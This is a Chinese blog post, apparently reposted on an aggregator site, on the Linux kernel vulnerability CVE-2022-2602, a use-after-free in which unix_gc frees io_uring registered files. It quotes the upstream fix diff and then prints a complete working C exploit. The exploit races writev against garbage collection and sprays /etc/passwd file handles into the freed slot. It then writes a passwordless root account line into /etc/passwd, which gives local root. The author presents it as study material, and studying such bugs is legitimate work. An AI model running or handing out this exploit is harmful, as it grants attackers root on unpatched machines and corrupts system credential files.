CVE-2022-2602:unix_gc 错误释放 io_uring 注册的文件从而导致的 file UAF

news2024/11/25 13:16:01

前言

复现该漏洞只是为了学习相关知识,在这里仅仅做简单记录下 exp,关于漏洞的详细内容请参考其他文章,最后在 v5.18.19 内核版本上复现成功,v6.0.2 复现失败

漏洞利用

diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 9fcf534f2d9272..7be5bb4c94b6d8 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -803,6 +803,7 @@ typedef unsigned char *sk_buff_data_t;
  *	@csum_level: indicates the number of consecutive checksums found in
  *		the packet minus one that have been verified as
  *		CHECKSUM_UNNECESSARY (max 3)
+ *	@scm_io_uring: SKB holds io_uring registered files
  *	@dst_pending_confirm: need to confirm neighbour
  *	@decrypted: Decrypted SKB
  *	@slow_gro: state present at GRO time, slower prepare step required
@@ -982,6 +983,7 @@ struct sk_buff {
 #endif
 	__u8			slow_gro:1;
 	__u8			csum_not_inet:1;
+	__u8			scm_io_uring:1;
 
 #ifdef CONFIG_NET_SCHED
 	__u16			tc_index;	/* traffic control index */
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index 6f88ded0e7e564..012fdb04ec238e 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -855,6 +855,7 @@ int __io_scm_file_account(struct io_ring_ctx *ctx, struct file *file)
 
 		UNIXCB(skb).fp = fpl;
 		skb->sk = sk;
+		skb->scm_io_uring = 1;
 		skb->destructor = unix_destruct_scm;
 		refcount_add(skb->truesize, &sk->sk_wmem_alloc);
 	}
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index d45d5366115a76..dc276354039321 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -204,6 +204,7 @@ void wait_for_unix_gc(void)
 /* The external entry point: unix_gc() */
 void unix_gc(void)
 {
+	struct sk_buff *next_skb, *skb;
 	struct unix_sock *u;
 	struct unix_sock *next;
 	struct sk_buff_head hitlist;
@@ -297,11 +298,30 @@ void unix_gc(void)
 
 	spin_unlock(&unix_gc_lock);
 
+	/* We need io_uring to clean its registered files, ignore all io_uring
+	 * originated skbs. It's fine as io_uring doesn't keep references to
+	 * other io_uring instances and so killing all other files in the cycle
+	 * will put all io_uring references forcing it to go through normal
+	 * release.path eventually putting registered files.
+	 */
+	skb_queue_walk_safe(&hitlist, skb, next_skb) {
+		if (skb->scm_io_uring) {
+			__skb_unlink(skb, &hitlist);
+			skb_queue_tail(&skb->sk->sk_receive_queue, skb);
+		}
+	}
+
 	/* Here we are. Hitlist is filled. Die. */
 	__skb_queue_purge(&hitlist);
 
 	spin_lock(&unix_gc_lock);
 
+	/* There could be io_uring registered files, just push them back to
+	 * the inflight list
+	 */
+	list_for_each_entry_safe(u, next, &gc_candidates, link)
+		list_move_tail(&u->link, &gc_inflight_list);
+
 	/* All candidates should have been detached by now. */
 	BUG_ON(!list_empty(&gc_candidates));

unix_gc 错误释放 io_uring 注册的文件导致的 file UAF

exp 如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>
#include <liburing.h>
#include <assert.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void prepare() {
        system("touch /tmp/dummy");
        system("chmod 777 /tmp/dummy");
}

static int run_wait_lock = 0;
void* slow_write() {
        #define PAGE_SIZE 0x1000
        #define WRITE_PAGE_NUMS 0x3333

        puts("[+] Start in slow_write");
        int fd = open("/tmp/dummy", O_RDWR);
        if (fd < 0) err_exit("FAILED to open /tmp/dummy");

        uint64_t start_addr = 0x30000000;
        uint64_t write_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;
        uint64_t i;
        for (i = 0; i < WRITE_PAGE_NUMS; i++) {
                void *addr = mmap((void*)(start_addr+i*PAGE_SIZE), PAGE_SIZE,
                                PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);

                if (addr == MAP_FAILED) err_exit("mmap");
        }

        assert(i > 0);

        struct iovec iovs[20];
        for (i = 0; i < 20; i++) {
                iovs[i].iov_base = (void*)start_addr;
                iovs[i].iov_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;

        }

        puts("[+] Occupying inode lock");
        run_wait_lock = 1;
        if (writev(fd, iovs, 20) < 0) {
                err_exit("write");
        }
        close(fd);
        puts("[+] End in slow_write");
        puts("[+] Waiting for 10 senonds");
        sleep(10);
        exit(0);
}

void sendfd(int sfd, int fd) {

        struct msghdr msg;
        char control_buf[4096] = { 0 };
        struct cmsghdr* cmsg;
        int fds[1] = { fd };
        memset(&msg, 0, sizeof(msg));

        msg.msg_control = control_buf;
        msg.msg_controllen = sizeof(control_buf);

        cmsg = CMSG_FIRSTHDR(&msg);
        cmsg->cmsg_level = SOL_SOCKET;
        cmsg->cmsg_type = SCM_RIGHTS;
        cmsg->cmsg_len = CMSG_LEN(sizeof(fds));

        memcpy(CMSG_DATA(cmsg), &fds, sizeof(fds));
        msg.msg_controllen = CMSG_SPACE(sizeof(fds));

        sendmsg(sfd, &msg, 0);
}


int main() {
        int s[2];
        int rfd[2];
        int io_uring_fd;
        pthread_t thr1;
        struct io_uring_sqe* sqe;
        struct io_uring ring;
        struct stat st;
        struct iovec iov[1];
        int fds[300];
        int i = 0;

        bind_core(0);
        prepare();
        for (i = 0; i < 300; i++) {
                if ((fds[i] = open("/etc/passwd", O_RDONLY)) < 0)
                       err_exit("open /etc/passwd");
        }

        stat("/etc/passwd", &st);
        int size = 0;
        int orig_size = st.st_size;

        /* hacker::0:0:/root:/root:/bin/sh\n */
        iov[0].iov_base = "hacker::0:0:/root:/root:/bin/sh\n";
        iov[0].iov_len = strlen(iov[0].iov_base);

        // s[0]         ref_count = 1
        // s[1]         ref_count = 1
        if (socketpair(AF_UNIX, SOCK_DGRAM, 0, s) < 0) err_exit("sockerpair");

        // s[0]         ref_count = 1
        // s[1]         ref_count = 1
        // io_uring_fd  ref_count = 1
        // rfd[1]       ref_count = 1

        io_uring_queue_init(32, &ring, IORING_SETUP_SQPOLL);
        sqe = io_uring_get_sqe(&ring);
        printf("[+] sqe: %p\n", sqe);

        io_uring_fd = ring.ring_fd;
        printf("[+] io_uring_fd: %d\n", io_uring_fd);
        if (io_uring_fd < 0) err_exit("io_uring_queue_init");

        rfd[0] = s[1];
        rfd[1] = open("/tmp/dummy", O_RDWR|O_APPEND);

        // s[0]         ref_count = 1
        // s[1]         ref_count = 2   inflight = 1
        // io_uring_fd  ref_count = 1
        // rfd[1]       ref_count = 2
        // io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}
        io_uring_register_files(&ring, rfd, 2);
        sqe->opcode = IORING_OP_WRITEV;
        sqe->fd = 1;
        sqe->addr = (long long)iov;
        sqe->len = 1;
        sqe->flags = IOSQE_FIXED_FILE;

        // s[0]         ref_count = 1
        // s[1]         ref_count = 2   inflight = 1
        // io_uring_fd  ref_count = 1
        // rfd[1]       ref_count = 1
        // io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}
        close(rfd[1]);

        // s[0]         ref_count = 1
        // s[1]         ref_count = 2   inflight = 1
        // io_uring_fd  ref_count = 2   inflight = 1
        // rfd[1]       ref_count = 1
        // io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}
        // s[1].sk_receive_queue     -> io_uring_fd
        sendfd(s[0], io_uring_fd);

        // s[0]         ref_count = 0 ==> free
        // s[1]         ref_count = 1   inflight = 1
        // io_uring_fd  ref_count = 2   inflight = 1
        // rfd[1]       ref_count = 1
        // io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}
        // s[1].sk_receive_queue     -> io_uring_fd
        close(s[0]);
        close(s[1]);

        // 占据 inode 锁
        pthread_create(&thr1, NULL, slow_write, NULL);
        // writev 等待 inode 锁
        while (!run_wait_lock) {}
        sleep(2);
        io_uring_submit(&ring);

        // s[0]         ref_count = 0 ==> free
        // s[1]         ref_count = 1   inflight = 1
        // io_uring_fd  ref_count = 1   inflight = 1
        // rfd[1]       ref_count = 1
        // io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}
        // s[1].sk_receive_queue     -> io_uring_fd
        io_uring_queue_exit(&ring);

        puts("[+] Triggering unix_gc");
        // 触发 unix_gc
        // s[0]         ref_count = 0 ==> free
        // s[1]         ref_count = 1   inflight = 1
        // io_uring_fd  ref_count = 1   inflight = 1
        // rfd[1]       ref_count = 1
        // io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}
        // s[1].sk_receive_queue     -> io_uring_fd
        // 此时 rfd[1] 被错误的释放 ==> rfd[1]
        sleep(2);

        for (i = 0; i < 150; i++) {
                close(fds[i+2]);
        }

        close(socket(AF_UNIX, SOCK_DGRAM, 0));
        puts("[+] unix_gc done");

        puts("[+] Spray /etc/passwd file");
        // 打开大量 /etc/passwd 去占据 uaf_file
        for (i = 0; i < 700; i++) {
                if (open("/etc/passwd", O_RDONLY) < 0) {
                        printf("[X] Error at %d\n", i);
                        err_exit("FAILED to spray file");
                }
        }

        // 等待 writev 获取 inode 锁,从而写 /etc/passwd
        // 当 /etc/passwd 文件大小发送变化时,说明成功向 /etc/passwd 写入恶意数据
        puts("[+] Waiting for overwriting /etc/passwd");
        while (orig_size == st.st_size) {
                stat("/etc/passwd", &st);
                size = st.st_size;
                sleep(1);
        }

        puts("[+] su hacker to get root");

        return 0;
}

效果如下:
在这里插入图片描述

参考文章

[漏洞分析] CVE-2022-2602 io_uring UAF内核提权详细解析
【kernel exploit】CVE-2022-2602垃圾回收错误释放iouring的file导致UAF

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1633777.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

网络安全之密码学技术

文章目录 网络信息安全的概念数据加密|解密概念密码学概论密码学分类古典密码学现代密码学 现代密码学的相关概念对称加密算法对称加密算法—DES对称加密算法—3DES对称加密算法—AES对称加密算法—IDEA 非对称加密算法非对称加密算法—RSA非对称加密算法—ElGamal非对称加密算…

高扬程水泵,提升水源新选择!— 恒峰智慧科技

在炎炎夏日&#xff0c;阳光炙烤着大地&#xff0c;森林火灾的发生频率也随之上升。火势猛烈&#xff0c;烟雾弥漫&#xff0c;给森林带来了极大的破坏。为了保护森林资源&#xff0c;我们必须采取有效的措施来扑灭火灾。而在这其中&#xff0c;高扬程水泵成为了提升水源新选择…

buuctf——web题目练习

1.极客大挑战2019 easysql 密码或者用户输入万能密码即可 关于万能密码的理解和原理&#xff0c;可以参考这篇BUUCTF[极客大挑战 2019] EasySQL 1_[极客大挑战 2019]easysql 1-CSDN博客 2.极客大挑战2019 have fun 题目源码 需要构造payload 网页传参可参考&#xff1a;…

Vue Cli脚手架—安装Nodejs和Vue Cli

一&#xff0c;Vue Cli 文档地址: https://cli.vuejs.org/zh/ 二&#xff0c;.环境配置&#xff0c;搭建项目 1.安装node.js 2.下载 node.js10.16.3 地址: https://nodejs.org/en/blog/release/v10.16.3/ 3.安装 node.js10.16.3 , 直接下一步即可, 安装到 d:\program\nodejs…

ubuntu sudo apt-get install neo4j 配置安装与设置远程访问

文章目录 下载Adding the Debian repositoryInstalling Neo4j安装流程设置远程访问 下载 neo4j 官方的下载地址&#xff0c;进入页面之后&#xff0c;往下滑&#xff1a; https://neo4j.com/deployment-center/#community 点击 Visit https://debian.neo4j.com/ Adding the …

Windows Server Backup设置定时备份保留N天

Windows Server - 运维篇 第四章 Windows Server Backup设置定时备份保留N天 Windows Server - 运维篇系列文章回顾Windows Server Backup设置定时备份保留N天使用VSS卷影复制服务工具删除指定天数的VSS备份文件CMD&#xff1a;wbadmin.exeCMD&#xff1a;wbadmin.mscPowerShel…

【RSGIS数据资源】2018-2020年中国农业大学石羊河实验站主要农作物的无人机观测数据

文章目录 摘要数据介绍2018年蒸腾(T)数据集2020年蒸散发&#xff08;ET)数据集2020年LAI数据集2019年NDVI数据集作物2020年NDVI数据集作物三温模型的输入参数气象数据净辐射通量数据 参考文献引用 摘要 本数据集涵盖了甘肃武威绿洲农业高效用水国家野外科学观测研究站&#xf…

AI系列:大语言模型的RAG(检索增强生成)技术(上)

前言 大型语言模型&#xff08;LLM&#xff09;虽然在生成文本方面表现出色&#xff0c;但仍然存在一些局限性&#xff1a;数据是静态的&#xff0c;而且缺乏垂直细分领域的知识。为了克服这些限制&#xff0c;有时候会进行进一步的模型训练和微调。在实际应用中&#xff0c;我…

教育机构必备利器:全面解析教培管理系统的关键功能

一个优秀的教培管理系统是培训机构实现高效运营和学员满意度的关键所在。那么&#xff0c;这样的系统应该具备哪些功能呢&#xff1f;今天&#xff0c;我们就来了解一下乔拓云平台开发的教育系统&#xff0c;看看它如何满足这些需求。 乔拓云教育系统的后端功能丰富多样&#x…

百度文库公测智能漫画和智能话本,有兴趣的可以申请一下

百度文库上线智能文库和智能话本功能&#xff0c;目前处于公测中&#xff0c;我刚申请&#xff0c;还在审核中。 智能漫画&#xff0c;参照官网的示例截图&#xff0c;生成的图片看起来不错&#xff0c;没试用过所以不太清楚他的操作模式是什么 智能话本&#xff0c;生成的话…

网站建设企业网站优化

近年来&#xff0c;随着互联网的迅速发展&#xff0c;企业网站已经成为了企业展示自我形象与实力的重要载体之一。然而&#xff0c;单单拥有一个美观、简洁的企业网站并不能让企业在竞争激烈的市场中脱颖而出。因此&#xff0c;在建设企业网站的过程中&#xff0c;我们需要将企…

上位机图像处理和嵌入式模块部署(树莓派4b开机界面程序自启动)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 前面我们学习了如何在树莓派4b上面开发qt&#xff0c;也学习了如何用/etc/rc.local启动控制台程序&#xff0c;那今天我们继续学习一下如何利用树莓…

渗透测试流程(一)

文章目录 1、信息收集渗透测试的流程信息收集的内容信息收集的分类Google hacking 信息收集目录扫描信息收集旁站和C段信息收集旁站和C段在线查询地址&#xff1a; 存活资产探测nmap扫描nmap扫描扫描指定的IP开放端口&#xff1a;穿透防火墙扫描&#xff1a;常用命令--2漏洞扫描…

如何用OceanBase的 Load Data 导入CSV文件

0 前言 CSV文件&#xff08;Comma-Separated Values&#xff0c;字符分隔值&#xff09;是一种普遍采用的数据存储格式&#xff0c;有不少企业和机构都用它来进行数据的管理和存储。身为开发者&#xff0c;您可能经常遇到这样的需求&#xff1a;需要将CSV的数据导入OceanBase数…

python基础知识(17)面向对象 1

一、面向对象的概念 1、面向对象的两个基本概念 编程语言中&#xff0c;一般有两种编程思维&#xff0c;面向过程和面向对象。 面向过程&#xff0c;看重的是解决问题的过程。 这好比我们解决日常生活问题差不多&#xff0c;分析解决问题的步骤&#xff0c;然后一步一步的解决…

知乎热议:未来几年,AI技术在科研领域将有哪些新的发展趋势或突破?

我是娜姐 迪娜学姐 &#xff0c;一个SCI医学期刊编辑&#xff0c;探索用AI工具提效论文写作和发表。 一年多以来&#xff0c;各种国内外的AI模型和应用应接不暇&#xff0c;从刚开始ChatGPT一家独大&#xff0c;到现在的百花齐放&#xff0c;各种AI模型各有千秋&#xff0c;一时…

CVE-2023-48795修复方法

CVE-2023-48795修复方法 1、修复原理2、检测漏洞3、修复漏洞4、成功修复 近期nessus扫描经常出现一个中危漏洞CVE-2023-48795&#xff0c;但网上的修复方法清一色的将openSSH升级到9.6p1版本 而我在升级当中处处碰壁&#xff0c;甚至于差点给服务器都干崩溃&#xff0c;特意研究…

Coursera: An Introduction to American Law 学习笔记 Week 01: Tort Law

An Introduction to American Law 本文是 https://www.coursera.org/programs/career-training-for-nevadans-k7yhc/learn/american-law 这门课的学习笔记。 文章目录 An Introduction to American LawInstructors SyllabusWeek 01: Tort LawKey Tort Law TermsTort Law: Part …

AI写作软件:一键生成原创文案,效率就是高

对于文案创作人员来说&#xff0c;常期的创作都会出现灵感枯竭现象&#xff0c;从而导致文案创作人员写不出文案的问题&#xff0c;那么如何解决文案写不出来的问题呢&#xff1f;别急&#xff0c;本文会给大家分享出好的解决方法&#xff01;大家要知道&#xff0c;随着人工智…

uniapp微信小程序开发踩坑日记:Vue3 + uniapp项目引入Echarts图表库

一、下载插件包 下载地址如下&#xff1a; lime-echart: 百度图表 echarts&#xff0c;uniapp、taro 使用 echarts 图表&#xff0c;全面兼容各平台小程序、H5、APP、Nvue 将以下两个文件夹放到项目的components里 同样地&#xff0c;将静态资源文件夹下内容放到自己项目的s…